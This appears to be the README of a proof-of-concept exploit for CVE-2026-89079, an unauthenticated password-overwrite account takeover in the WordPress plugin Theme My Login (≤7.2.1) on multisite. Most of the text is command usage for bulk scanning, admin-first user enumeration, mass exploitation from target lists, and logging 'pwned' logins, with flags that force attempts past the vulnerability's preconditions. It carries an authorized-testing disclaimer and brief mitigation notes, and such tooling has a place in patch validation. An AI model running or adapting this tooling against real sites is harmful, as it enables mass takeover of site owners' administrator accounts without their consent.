
Python PoC for CVE-2026-89079: fingerprints Theme My Login <=7.2.1 on WordPress multisite, then exploits unauthenticated password overwrite via lost-password and verifies login.
Security research tooling for CVE-2026-89079: unauthenticated account takeover on WordPress multisite when Theme My Login ≤ 7.2.1 has network option tml_user_passwords enabled.
Authorized testing only. Do not use against systems you do not own or lack written permission to test.
| Plugin | Theme My Login |
| Affected | ≤ 7.2.1 |
| Fixed | 7.2.2+ (06b7623) |
| CWE | CWE-269 Improper Privilege Management |
| CVSS 3.1 | 9.8 (Critical) |
All three must be true:
is_multisite() — ms-hooks.php loads only on real WordPress multisite (not TML /register/ on single-site).get_site_option( 'tml_user_passwords' ) — network “user-chosen registration passwords”.tml_ms_filter_pre_insert_user_data() applies $_POST['user_pass1'] on retrieve_password() → wp_update_user().A checkemail=confirm response after lost-password POST does not prove the password was changed; it is normal WordPress behavior when the vulnerable filter is inactive.
CVE-2026-89079/
├── poc.py # CLI: mass check / exploit / verify-only
├── tml_core.py # Detection, HTTP/form diagnostics, tests import
├── requirements.txt
├── targets.example.txt
├── tests/
│ └── test_tml_core.py
└── lab/
└── README.md # Disposable WP multisite lab notes
git clone https://github.com/YOUR_ORG/CVE-2026-89079.git
cd CVE-2026-89079
pip install -r requirements.txt
python poc.py --check https://target.example.com
# Bulk
python poc.py -f targets.txt --mode check -j 30 -q
# Optional: REST / ?author= hints → 3rd column in vuln list
python poc.py -f targets.txt --mode check --enum-users -j 30 -q
Outputs (defaults):
| File | Content |
|---|---|
cve_2026_89079_results.jsonl | All targets + finding_status, multisite / user_pass1 hints |
cve_2026_89079_vuln.txt | TML ≤ 7.2.1 (tab: URL, version, optional best_login) |
cve_2026_89079_eligible.txt | Stricter heuristic: network signup + signup user_pass1 (not a guarantee) |
finding_status values include: NOT_DETECTED, PATCHED, POTENTIALLY_VULNERABLE, PRECONDITIONS_UNKNOWN, VERIFICATION_INCONCLUSIVE, NETWORK_ERROR.
# Single target (default user: auto — enumerate admin-first when REST/?author= allows)
python poc.py https://target.example.com --mode exploit
python poc.py https://target.example.com -u admin --mode exploit
python poc.py https://target.example.com --version-hint 6.8.2 --login-hint admin --mode exploit
# Bulk from vuln list
python poc.py -f cve_2026_89079_vuln.txt --mode exploit -j 15 -q
Useful flags:
| Flag | Purpose |
|---|---|
--no-require-multisite | Attempt even when multisite heuristic fails (many single-site TML sites) |
--require-user-passwords | Skip when signup pages lack user_pass1 |
--only-eligible | Exploit only rows with exploit_eligible from prior --check-jsonl |
--verify-only | No password POST / no login — form & endpoint diagnostics only |
--skip-version-check | Force attempt when readme is blocked |
-q | Quieter bulk logging |
Outputs: cve_2026_89079_exploit.jsonl, cve_2026_89079_pwned.txt (successful logins).
python -m unittest discover -s tests -v
tml_lost_password_handler() → core retrieve_password().wp_pre_insert_user_data filter ignores updates during lost password ($update).wp-signup.php → /register/ redirects (common single-site TML false positive).html.parser; supports TML AJAX lost-password when configured.tml_user_passwords or the plugin until patched.user_pass1.This project is for defensive security research, patch validation, and authorized penetration testing. Misuse is prohibited. Authors assume no liability for unauthorized use.